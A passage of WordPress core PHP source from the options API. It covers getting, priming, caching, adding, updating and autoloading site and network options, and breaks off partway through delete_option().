		$alloptions = wp_load_alloptions();
		/*
		 * When getting an option value, we check in the following order for performance:
		 *
		 * 1. Check the 'alloptions' cache first to prioritize existing loaded options.
		 * 2. Check the 'notoptions' cache before a cache lookup or DB hit.
		 * 3. Check the 'options' cache prior to a DB hit.
		 * 4. Check the DB for the option and cache it in either the 'options' or 'notoptions' cache.
		 */
		if ( isset( $alloptions[ $option ] ) ) {
			$value = $alloptions[ $option ];
		} else {
			// Check for non-existent options first to avoid unnecessary object cache lookups and DB hits.
			$notoptions = wp_cache_get( 'notoptions', 'options' );

			if ( ! is_array( $notoptions ) ) {
				$notoptions = array();
				wp_cache_set( 'notoptions', $notoptions, 'options' );
			}

			if ( isset( $notoptions[ $option ] ) ) {
				/**
				 * Filters the default value for an option.
				 *
				 * The dynamic portion of the hook name, `$option`, refers to the option name.
				 *
				 * @since 3.4.0
				 * @since 4.4.0 The `$option` parameter was added.
				 * @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value.
				 *
				 * @param mixed  $default_value  The default value to return if the option does not exist
				 *                               in the database.
				 * @param string $option         Option name.
				 * @param bool   $passed_default Was `get_option()` passed a default value?
				 */
				return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
			}

			$value = wp_cache_get( $option, 'options' );

			if ( false === $value ) {

				$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );

				// Has to be get_row() instead of get_var() because of funkiness with 0, false, null values.
				if ( is_object( $row ) ) {
					$value = $row->option_value;
					wp_cache_add( $option, $value, 'options' );
				} else { // Option does not exist, so we must cache its non-existence.
					$notoptions[ $option ] = true;
					wp_cache_set( 'notoptions', $notoptions, 'options' );

					/** This filter is documented in wp-includes/option.php */
					return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
				}
			}
		}
	} else {
		$suppress = $wpdb->suppress_errors();
		$row      = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
		$wpdb->suppress_errors( $suppress );

		if ( is_object( $row ) ) {
			$value = $row->option_value;
		} else {
			/** This filter is documented in wp-includes/option.php */
			return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
		}
	}

	// If home is not set, use siteurl.
	if ( 'home' === $option && '' === $value ) {
		return get_option( 'siteurl' );
	}

	if ( in_array( $option, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
		$value = untrailingslashit( $value );
	}

	/**
	 * Filters the value of an existing option.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 1.5.0 As 'option_' . $setting
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $value  Value of the option. If stored serialized, it will be
	 *                       unserialized prior to being returned.
	 * @param string $option Option name.
	 */
	return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option );
}

/**
 * Primes specific options into the cache with a single database query.
 *
 * Only options that do not already exist in cache will be loaded.
 *
 * @since 6.4.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string[] $options An array of option names to be loaded.
 */
function wp_prime_option_caches( $options ) {
	global $wpdb;

	$alloptions     = wp_load_alloptions();
	$cached_options = wp_cache_get_multiple( $options, 'options' );
	$notoptions     = wp_cache_get( 'notoptions', 'options' );
	if ( ! is_array( $notoptions ) ) {
		$notoptions = array();
	}

	// Filter options that are not in the cache.
	$options_to_prime = array();
	foreach ( $options as $option ) {
		if (
			( ! isset( $cached_options[ $option ] ) || false === $cached_options[ $option ] )
			&& ! isset( $alloptions[ $option ] )
			&& ! isset( $notoptions[ $option ] )
		) {
			$options_to_prime[] = $option;
		}
	}

	// Bail early if there are no options to be loaded.
	if ( empty( $options_to_prime ) ) {
		return;
	}

	$results = $wpdb->get_results(
		$wpdb->prepare(
			sprintf(
				"SELECT option_name, option_value FROM $wpdb->options WHERE option_name IN (%s)",
				implode( ',', array_fill( 0, count( $options_to_prime ), '%s' ) )
			),
			$options_to_prime
		)
	);

	$options_found = array();
	foreach ( $results as $result ) {
		/*
		 * The cache is primed with the raw value (i.e. not maybe_unserialized).
		 *
		 * `get_option()` will handle unserializing the value as needed.
		 */
		$options_found[ $result->option_name ] = $result->option_value;
	}
	wp_cache_set_multiple( $options_found, 'options' );

	// If all options were found, no need to update `notoptions` cache.
	if ( count( $options_found ) === count( $options_to_prime ) ) {
		return;
	}

	$options_not_found = array_diff( $options_to_prime, array_keys( $options_found ) );

	// Add the options that were not found to the cache.
	$update_notoptions = false;
	foreach ( $options_not_found as $option_name ) {
		if ( ! isset( $notoptions[ $option_name ] ) ) {
			$notoptions[ $option_name ] = true;
			$update_notoptions          = true;
		}
	}

	// Only update the cache if it was modified.
	if ( $update_notoptions ) {
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}
}

/**
 * Primes the cache of all options registered with a specific option group.
 *
 * @since 6.4.0
 *
 * @global array $new_allowed_options
 *
 * @param string $option_group The option group to load options for.
 */
function wp_prime_option_caches_by_group( $option_group ) {
	global $new_allowed_options;

	if ( isset( $new_allowed_options[ $option_group ] ) ) {
		wp_prime_option_caches( $new_allowed_options[ $option_group ] );
	}
}

/**
 * Retrieves multiple options.
 *
 * Options are loaded as necessary first in order to use a single database query at most.
 *
 * @since 6.4.0
 *
 * @param string[] $options An array of option names to retrieve.
 * @return array An array of key-value pairs for the requested options.
 */
function get_options( $options ) {
	wp_prime_option_caches( $options );

	$result = array();
	foreach ( $options as $option ) {
		$result[ $option ] = get_option( $option );
	}

	return $result;
}

/**
 * Sets the autoload values for multiple options in the database.
 *
 * Autoloading too many options can lead to performance problems, especially if the options are not frequently used.
 * This function allows modifying the autoload value for multiple options without changing the actual option value.
 * This is for example recommended for plugin activation and deactivation hooks, to ensure any options exclusively used
 * by the plugin which are generally autoloaded can be set to not autoload when the plugin is inactive.
 *
 * @since 6.4.0
 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $options Associative array of option names and their autoload values to set. The option names are
 *                       expected to not be SQL-escaped. The autoload values should be boolean values. For backward
 *                       compatibility 'yes' and 'no' are also accepted, though using these values is deprecated.
 * @return array Associative array of all provided $options as keys and boolean values for whether their autoload value
 *               was updated.
 */
function wp_set_option_autoload_values( array $options ) {
	global $wpdb;

	if ( ! $options ) {
		return array();
	}

	$grouped_options = array(
		'on'  => array(),
		'off' => array(),
	);
	$results         = array();
	foreach ( $options as $option => $autoload ) {
		wp_protect_special_option( $option ); // Ensure only valid options can be passed.

		/*
		 * Sanitize autoload value and categorize accordingly.
		 * The values 'yes', 'no', 'on', and 'off' are supported for backward compatibility.
		 */
		if ( 'off' === $autoload || 'no' === $autoload || false === $autoload ) {
			$grouped_options['off'][] = $option;
		} else {
			$grouped_options['on'][] = $option;
		}
		$results[ $option ] = false; // Initialize result value.
	}

	$where      = array();
	$where_args = array();
	foreach ( $grouped_options as $autoload => $options ) {
		if ( ! $options ) {
			continue;
		}
		$placeholders = implode( ',', array_fill( 0, count( $options ), '%s' ) );
		$where[]      = "autoload != '%s' AND option_name IN ($placeholders)";
		$where_args[] = $autoload;
		foreach ( $options as $option ) {
			$where_args[] = $option;
		}
	}
	$where = 'WHERE ' . implode( ' OR ', $where );

	/*
	 * Determine the relevant options that do not already use the given autoload value.
	 * If no options are returned, no need to update.
	 */
	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
	$options_to_update = $wpdb->get_col( $wpdb->prepare( "SELECT option_name FROM $wpdb->options $where", $where_args ) );
	if ( ! $options_to_update ) {
		return $results;
	}

	// Run UPDATE queries as needed (maximum 2) to update the relevant options' autoload values to 'yes' or 'no'.
	foreach ( $grouped_options as $autoload => $options ) {
		if ( ! $options ) {
			continue;
		}
		$options                      = array_intersect( $options, $options_to_update );
		$grouped_options[ $autoload ] = $options;
		if ( ! $grouped_options[ $autoload ] ) {
			continue;
		}

		// Run query to update autoload value for all the options where it is needed.
		$success = $wpdb->query(
			$wpdb->prepare(
				"UPDATE $wpdb->options SET autoload = %s WHERE option_name IN (" . implode( ',', array_fill( 0, count( $grouped_options[ $autoload ] ), '%s' ) ) . ')',
				array_merge(
					array( $autoload ),
					$grouped_options[ $autoload ]
				)
			)
		);
		if ( ! $success ) {
			// Set option list to an empty array to indicate no options were updated.
			$grouped_options[ $autoload ] = array();
			continue;
		}

		// Assume that on success all options were updated, which should be the case given only new values are sent.
		foreach ( $grouped_options[ $autoload ] as $option ) {
			$results[ $option ] = true;
		}
	}

	/*
	 * If any options were changed to 'on', delete their individual caches, and delete 'alloptions' cache so that it
	 * is refreshed as needed.
	 * If no options were changed to 'on' but any options were changed to 'no', delete them from the 'alloptions'
	 * cache. This is not necessary when options were changed to 'on', since in that situation the entire cache is
	 * deleted anyway.
	 */
	if ( $grouped_options['on'] ) {
		wp_cache_delete_multiple( $grouped_options['on'], 'options' );
		wp_cache_delete( 'alloptions', 'options' );
	} elseif ( $grouped_options['off'] ) {
		$alloptions = wp_load_alloptions( true );

		foreach ( $grouped_options['off'] as $option ) {
			if ( isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
			}
		}

		wp_cache_set( 'alloptions', $alloptions, 'options' );
	}

	return $results;
}

/**
 * Sets the autoload value for multiple options in the database.
 *
 * This is a wrapper for {@see wp_set_option_autoload_values()}, which can be used to set different autoload values for
 * each option at once.
 *
 * @since 6.4.0
 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated.
 *
 * @see wp_set_option_autoload_values()
 *
 * @param string[] $options  List of option names. Expected to not be SQL-escaped.
 * @param bool     $autoload Autoload value to control whether to load the options when WordPress starts up.
 *                           For backward compatibility 'yes' and 'no' are also accepted, though using these values is
 *                           deprecated.
 * @return array Associative array of all provided $options as keys and boolean values for whether their autoload value
 *               was updated.
 */
function wp_set_options_autoload( array $options, $autoload ) {
	return wp_set_option_autoload_values(
		array_fill_keys( $options, $autoload )
	);
}

/**
 * Sets the autoload value for an option in the database.
 *
 * This is a wrapper for {@see wp_set_option_autoload_values()}, which can be used to set the autoload value for
 * multiple options at once.
 *
 * @since 6.4.0
 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated.
 *
 * @see wp_set_option_autoload_values()
 *
 * @param string $option   Name of the option. Expected to not be SQL-escaped.
 * @param bool   $autoload Autoload value to control whether to load the option when WordPress starts up.
 *                         For backward compatibility 'yes' and 'no' are also accepted, though using these values is
 *                         deprecated.
 * @return bool True if the autoload value was modified, false otherwise.
 */
function wp_set_option_autoload( $option, $autoload ) {
	$result = wp_set_option_autoload_values( array( $option => $autoload ) );
	if ( isset( $result[ $option ] ) ) {
		return $result[ $option ];
	}
	return false;
}

/**
 * Protects WordPress special option from being modified.
 *
 * Will die if $option is in protected list. Protected options are 'alloptions'
 * and 'notoptions' options.
 *
 * @since 2.2.0
 *
 * @param string $option Option name.
 */
function wp_protect_special_option( $option ) {
	if ( 'alloptions' === $option || 'notoptions' === $option ) {
		wp_die(
			sprintf(
				/* translators: %s: Option name. */
				__( '%s is a protected WP option and may not be modified' ),
				esc_html( $option )
			)
		);
	}
}

/**
 * Prints option value after sanitizing for forms.
 *
 * @since 1.5.0
 *
 * @param string $option Option name.
 */
function form_option( $option ) {
	echo esc_attr( get_option( $option ) );
}

/**
 * Loads and caches all autoloaded options, if available or all options.
 *
 * @since 2.2.0
 * @since 5.3.1 The `$force_cache` parameter was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool $force_cache Optional. Whether to force an update of the local cache
 *                          from the persistent cache. Default false.
 * @return array List of all options.
 */
function wp_load_alloptions( $force_cache = false ) {
	global $wpdb;

	/**
	 * Filters the array of alloptions before it is populated.
	 *
	 * Returning an array from the filter will effectively short circuit
	 * wp_load_alloptions(), returning that value instead.
	 *
	 * @since 6.2.0
	 *
	 * @param array|null $alloptions  An array of alloptions. Default null.
	 * @param bool       $force_cache Whether to force an update of the local cache from the persistent cache. Default false.
	 */
	$alloptions = apply_filters( 'pre_wp_load_alloptions', null, $force_cache );
	if ( is_array( $alloptions ) ) {
		return $alloptions;
	}

	if ( ! wp_installing() || ! is_multisite() ) {
		$alloptions = wp_cache_get( 'alloptions', 'options', $force_cache );
	} else {
		$alloptions = false;
	}

	if ( ! $alloptions ) {
		$suppress      = $wpdb->suppress_errors();
		$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload IN ( '" . implode( "', '", esc_sql( wp_autoload_values_to_autoload() ) ) . "' )" );

		if ( ! $alloptions_db ) {
			$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
		}
		$wpdb->suppress_errors( $suppress );

		$alloptions = array();
		foreach ( (array) $alloptions_db as $o ) {
			$alloptions[ $o->option_name ] = $o->option_value;
		}

		if ( ! wp_installing() || ! is_multisite() ) {
			/**
			 * Filters all options before caching them.
			 *
			 * @since 4.9.0
			 *
			 * @param array $alloptions Array with all options.
			 */
			$alloptions = apply_filters( 'pre_cache_alloptions', $alloptions );

			wp_cache_add( 'alloptions', $alloptions, 'options' );
		}
	}

	/**
	 * Filters all options after retrieving them.
	 *
	 * @since 4.9.0
	 *
	 * @param array $alloptions Array with all options.
	 */
	return apply_filters( 'alloptions', $alloptions );
}

/**
 * Primes specific network options for the current network into the cache with a single database query.
 *
 * Only network options that do not already exist in cache will be loaded.
 *
 * If site is not multisite, then call wp_prime_option_caches().
 *
 * @since 6.6.0
 *
 * @see wp_prime_network_option_caches()
 *
 * @param string[] $options An array of option names to be loaded.
 */
function wp_prime_site_option_caches( array $options ) {
	wp_prime_network_option_caches( null, $options );
}

/**
 * Primes specific network options into the cache with a single database query.
 *
 * Only network options that do not already exist in cache will be loaded.
 *
 * If site is not multisite, then call wp_prime_option_caches().
 *
 * @since 6.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $network_id ID of the network. Can be null to default to the current network ID.
 * @param string[] $options    An array of option names to be loaded.
 */
function wp_prime_network_option_caches( $network_id, array $options ) {
	global $wpdb;

	if ( wp_installing() ) {
		return;
	}

	if ( ! is_multisite() ) {
		wp_prime_option_caches( $options );
		return;
	}

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	$cache_keys = array();
	foreach ( $options as $option ) {
		$cache_keys[ $option ] = "{$network_id}:{$option}";
	}

	$cache_group    = 'site-options';
	$cached_options = wp_cache_get_multiple( array_values( $cache_keys ), $cache_group );

	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, $cache_group );

	if ( ! is_array( $notoptions ) ) {
		$notoptions = array();
	}

	// Filter options that are not in the cache.
	$options_to_prime = array();
	foreach ( $cache_keys as $option => $cache_key ) {
		if (
			( ! isset( $cached_options[ $cache_key ] ) || false === $cached_options[ $cache_key ] )
			&& ! isset( $notoptions[ $option ] )
		) {
			$options_to_prime[] = $option;
		}
	}

	// Bail early if there are no options to be loaded.
	if ( empty( $options_to_prime ) ) {
		return;
	}

	$query_args   = $options_to_prime;
	$query_args[] = $network_id;
	$results      = $wpdb->get_results(
		$wpdb->prepare(
			sprintf(
				"SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN (%s) AND site_id = %s",
				implode( ',', array_fill( 0, count( $options_to_prime ), '%s' ) ),
				'%d'
			),
			$query_args
		)
	);

	$data          = array();
	$options_found = array();
	foreach ( $results as $result ) {
		$key                = $result->meta_key;
		$cache_key          = $cache_keys[ $key ];
		$data[ $cache_key ] = maybe_unserialize( $result->meta_value );
		$options_found[]    = $key;
	}
	wp_cache_set_multiple( $data, $cache_group );
	// If all options were found, no need to update `notoptions` cache.
	if ( count( $options_found ) === count( $options_to_prime ) ) {
		return;
	}

	$options_not_found = array_diff( $options_to_prime, $options_found );

	// Add the options that were not found to the cache.
	$update_notoptions = false;
	foreach ( $options_not_found as $option_name ) {
		if ( ! isset( $notoptions[ $option_name ] ) ) {
			$notoptions[ $option_name ] = true;
			$update_notoptions          = true;
		}
	}

	// Only update the cache if it was modified.
	if ( $update_notoptions ) {
		wp_cache_set( $notoptions_key, $notoptions, $cache_group );
	}
}

/**
 * Loads and primes caches of certain often requested network options if is_multisite().
 *
 * @since 3.0.0
 * @since 6.3.0 Also prime caches for network options when persistent object cache is enabled.
 * @since 6.6.0 Uses wp_prime_network_option_caches().
 *
 * @param int $network_id Optional. Network ID of network for which to prime network options cache. Defaults to current network.
 */
function wp_load_core_site_options( $network_id = null ) {
	if ( ! is_multisite() || wp_installing() ) {
		return;
	}
	$core_options = array( 'site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting', 'WPLANG' );

	wp_prime_network_option_caches( $network_id, $core_options );
}

/**
 * Updates the value of an option that was already added.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * If the option does not exist, it will be created.

 * This function is designed to work with or without a logged-in user. In terms of security,
 * plugin developers should check the current user's capabilities before updating any options.
 *
 * @since 1.0.0
 * @since 4.2.0 The `$autoload` parameter was added.
 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string    $option   Name of the option to update. Expected to not be SQL-escaped.
 * @param mixed     $value    Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
 * @param bool|null $autoload Optional. Whether to load the option when WordPress starts up.
 *                            Accepts a boolean, or `null` to stick with the initial value or, if no initial value is
 *                            set, to leave the decision up to default heuristics in WordPress.
 *                            For existing options, `$autoload` can only be updated using `update_option()` if `$value`
 *                            is also changed.
 *                            For backward compatibility 'yes' and 'no' are also accepted, though using these values is
 *                            deprecated.
 *                            Autoloading too many options can lead to performance problems, especially if the
 *                            options are not frequently used. For options which are accessed across several places
 *                            in the frontend, it is recommended to autoload them, by using true.
 *                            For options which are accessed only on few specific URLs, it is recommended
 *                            to not autoload them, by using false.
 *                            For non-existent options, the default is null, which means WordPress will determine
 *                            the autoload value.
 * @return bool True if the value was updated, false otherwise.
 */
function update_option( $option, $value, $autoload = null ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return update_option( $deprecated_keys[ $option ], $value, $autoload );
	}

	wp_protect_special_option( $option );

	if ( is_object( $value ) ) {
		$value = clone $value;
	}

	$value     = sanitize_option( $option, $value );
	$old_value = get_option( $option );

	/**
	 * Filters a specific option before its value is (maybe) serialized and updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.6.0
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $value     The new, unserialized option value.
	 * @param mixed  $old_value The old option value.
	 * @param string $option    Option name.
	 */
	$value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option );

	/**
	 * Filters an option before its value is (maybe) serialized and updated.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed  $value     The new, unserialized option value.
	 * @param string $option    Name of the option.
	 * @param mixed  $old_value The old option value.
	 */
	$value = apply_filters( 'pre_update_option', $value, $option, $old_value );

	/*
	 * If the new and old values are the same, no need to update.
	 *
	 * Unserialized values will be adequate in most cases. If the unserialized
	 * data differs, the (maybe) serialized data is checked to avoid
	 * unnecessary database calls for otherwise identical object instances.
	 *
	 * See https://core.trac.wordpress.org/ticket/38903
	 */
	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/option.php */
	if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) {
		return add_option( $option, $value, '', $autoload );
	}

	$serialized_value = maybe_serialize( $value );

	/**
	 * Fires immediately before an option value is updated.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option    Name of the option to update.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 */
	do_action( 'update_option', $option, $old_value, $value );

	$update_args = array(
		'option_value' => $serialized_value,
	);

	if ( null !== $autoload ) {
		$update_args['autoload'] = wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload );
	} else {
		// Retrieve the current autoload value to reevaluate it in case it was set automatically.
		$raw_autoload = $wpdb->get_var( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
		$allow_values = array( 'auto-on', 'auto-off', 'auto' );
		if ( in_array( $raw_autoload, $allow_values, true ) ) {
			$autoload = wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload );
			if ( $autoload !== $raw_autoload ) {
				$update_args['autoload'] = $autoload;
			}
		}
	}

	$result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) );
	if ( ! $result ) {
		return false;
	}

	$notoptions = wp_cache_get( 'notoptions', 'options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	if ( ! wp_installing() ) {
		if ( ! isset( $update_args['autoload'] ) ) {
			// Update the cached value based on where it is currently cached.
			$alloptions = wp_load_alloptions( true );

			if ( isset( $alloptions[ $option ] ) ) {
				$alloptions[ $option ] = $serialized_value;
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			} else {
				wp_cache_set( $option, $serialized_value, 'options' );
			}
		} elseif ( in_array( $update_args['autoload'], wp_autoload_values_to_autoload(), true ) ) {
			// Delete the individual cache, then set in alloptions cache.
			wp_cache_delete( $option, 'options' );

			$alloptions = wp_load_alloptions( true );

			$alloptions[ $option ] = $serialized_value;
			wp_cache_set( 'alloptions', $alloptions, 'options' );
		} else {
			// Delete the alloptions cache, then set the individual cache.
			$alloptions = wp_load_alloptions( true );

			if ( isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			}

			wp_cache_set( $option, $serialized_value, 'options' );
		}
	}

	/**
	 * Fires after the value of a specific option has been successfully updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.0.1
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 * @param string $option    Option name.
	 */
	do_action( "update_option_{$option}", $old_value, $value, $option );

	/**
	 * Fires after the value of an option has been successfully updated.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option    Name of the updated option.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 */
	do_action( 'updated_option', $option, $old_value, $value );

	return true;
}

/**
 * Adds a new option.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * You can create options without values and then update the values later.
 * Existing options will not be updated and checks are performed to ensure that you
 * aren't adding a protected WordPress option. Care should be taken to not name
 * options the same as the ones which are protected.
 *
 * @since 1.0.0
 * @since 6.6.0 The $autoload parameter's default value was changed to null.
 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string    $option     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed     $value      Optional. Option value. Must be serializable if non-scalar.
 *                              Expected to not be SQL-escaped.
 * @param string    $deprecated Optional. Description. Not used anymore.
 * @param bool|null $autoload   Optional. Whether to load the option when WordPress starts up.
 *                              Accepts a boolean, or `null` to leave the decision up to default heuristics in
 *                              WordPress. For backward compatibility 'yes' and 'no' are also accepted, though using
 *                              these values is deprecated.
 *                              Autoloading too many options can lead to performance problems, especially if the
 *                              options are not frequently used. For options which are accessed across several places
 *                              in the frontend, it is recommended to autoload them, by using true.
 *                              For options which are accessed only on few specific URLs, it is recommended
 *                              to not autoload them, by using false.
 *                              Default is null, which means WordPress will determine the autoload value.
 * @return bool True if the option was added, false otherwise.
 */
function add_option( $option, $value = '', $deprecated = '', $autoload = null ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.3.0' );
	}

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return add_option( $deprecated_keys[ $option ], $value, $deprecated, $autoload );
	}

	wp_protect_special_option( $option );

	if ( is_object( $value ) ) {
		$value = clone $value;
	}

	$value = sanitize_option( $option, $value );

	/*
	 * Make sure the option doesn't already exist.
	 * We can check the 'notoptions' cache before we ask for a DB query.
	 */
	$notoptions = wp_cache_get( 'notoptions', 'options' );

	if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
		/** This filter is documented in wp-includes/option.php */
		if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) ) {
			return false;
		}
	}

	$serialized_value = maybe_serialize( $value );

	$autoload = wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload );

	/**
	 * Fires before an option is added.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the option to add.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( 'add_option', $option, $value );

	$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
	if ( ! $result ) {
		return false;
	}

	if ( ! wp_installing() ) {
		if ( in_array( $autoload, wp_autoload_values_to_autoload(), true ) ) {
			$alloptions            = wp_load_alloptions( true );
			$alloptions[ $option ] = $serialized_value;
			wp_cache_set( 'alloptions', $alloptions, 'options' );
		} else {
			wp_cache_set( $option, $serialized_value, 'options' );
		}
	}

	// This option exists now.
	$notoptions = wp_cache_get( 'notoptions', 'options' ); // Yes, again... we need it to be fresh.

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	/**
	 * Fires after a specific option has been added.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.5.0 As `add_option_{$name}`
	 * @since 3.0.0
	 *
	 * @param string $option Name of the option to add.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( "add_option_{$option}", $option, $value );

	/**
	 * Fires after an option has been added.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the added option.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( 'added_option', $option, $value );

	return true;
}

/**
 * Removes an option by name. Prevents removal of protected WordPress options.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_option( $option ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	wp_protect_special_option( $option );

	// Get the ID, if no ID then return.
	$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
	if ( is_null( $row ) ) {
		return false;
	}

	/**
	 * Fires immediately before an option is deleted.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the option to delete.
	 */
	do_action( 'delete_option', $option );

	$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );

	if ( ! wp_installing() ) {
		if ( in_array( $row->autoload, wp_autoload_values_to_autoload(), true ) ) {
			$alloptions = wp_load_alloptions( true );

			if ( is_array( $alloptions ) && isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			}
		} else {
			wp_cache_delete( $option, 'options' );
		}

		$notoptions = wp_cache_get( 'notoptions', 'options' );

		if ( ! is_array( $notoptions ) ) {
			$notoptions = array();
		}
		$notoptions[ $option ] = true;

		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	if ( $result ) {

		/**
		 * Fires after a specific option has been deleted.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 3.0.0
		 *
		 * @param string $option Name of the deleted option.
		 */
		do_action( "delete_option_{$option}", $option );

		/**
